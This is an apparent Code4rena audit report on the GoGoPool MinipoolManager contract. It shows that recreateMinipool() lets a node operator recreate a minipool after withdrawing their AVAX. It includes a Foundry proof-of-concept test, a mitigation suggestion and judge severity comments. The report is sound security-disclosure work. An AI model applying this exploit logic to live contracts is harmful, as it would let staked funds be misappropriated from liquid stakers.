Can create minipool without staking

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L442-L478

Vulnerability details

Impact

minipool can be created without staking AVAX with recreateMinipool(). recreateMinipool() function doesn't check if the owner withdrew or not.

Proof of Concept

I just added withdrawMinipoolFunds() to the original test.

function testRecreateMinipool() public {
		uint256 duration = 4 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		// Enough to start but not to re-stake, we will add more later
		uint128 ggpStakeAmt = 100 ether;

		vm.startPrank(nodeOp);
		
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		console.log("balance1", nodeOpBalance);
		vm.stopPrank();

		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		vm.prank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp.nodeID);

		bytes32 txID = keccak256("txid");
		vm.prank(address(rialto));
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		skip(duration / 2);

		// Give rialto the rewards it needs
		uint256 rewards = 10 ether;
		deal(address(rialto), address(rialto).balance + rewards);

		// Pay out the rewards
		vm.prank(address(rialto));
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);

		// Now try to restake
		vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector);
		minipoolMgr.recreateMinipool(mp.nodeID);

		vm.prank(address(rialto));
		vm.expectRevert(MinipoolManager.InsufficientGGPCollateralization.selector);
		minipoolMgr.recreateMinipool(mp.nodeID);

		// Add a bit more collateral to cover the compounding rewards
		vm.startPrank(nodeOp);
		staking.stakeGGP(1 ether);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);
		vm.stopPrank();

		vm.prank(address(rialto));
		minipoolMgr.recreateMinipool(mp.nodeID);

		console.log("staking.getAVAXStake(mp.owner) :", staking.getAVAXStake(mp.owner) / 1e18);

		//MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID);
		//assertEq(mpCompounded.status, uint256(MinipoolStatus.Prelaunch));
		//assertGt(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpAmt);
		//assertGt(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpInitialAmt);
		//assertGt(mpCompounded.avaxLiquidStakerAmt, mp.avaxLiquidStakerAmt);
		//assertEq(staking.getAVAXStake(mp.owner), mpCompounded.avaxNodeOpAmt);
		//assertEq(staking.getAVAXAssigned(mp.owner), mpCompounded.avaxLiquidStakerAmt);
		//assertEq(staking.getMinipoolCount(mp.owner), 1);
		//assertEq(mpCompounded.startTime, 0);
		//assertGt(mpCompounded.initialStartTime, 0);
	}

Tools Used

Foundry

Recommended Mitigation Steps

recreateMinipool() needs check staking balance before increaseAVAXStake().

[GalloDaSballo]

Dup of #484 but without Front-run aspect, awarding half

[c4-judge]

GalloDaSballo marked the issue as duplicate of #484

[c4-judge]

GalloDaSballo marked the issue as partial-50

[c4-judge]

GalloDaSballo marked the issue as duplicate of #569

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo changed the severity to QA (Quality Assurance)

[Simon-Busch]

Changed the severity back to M as requested by @GalloDaSballo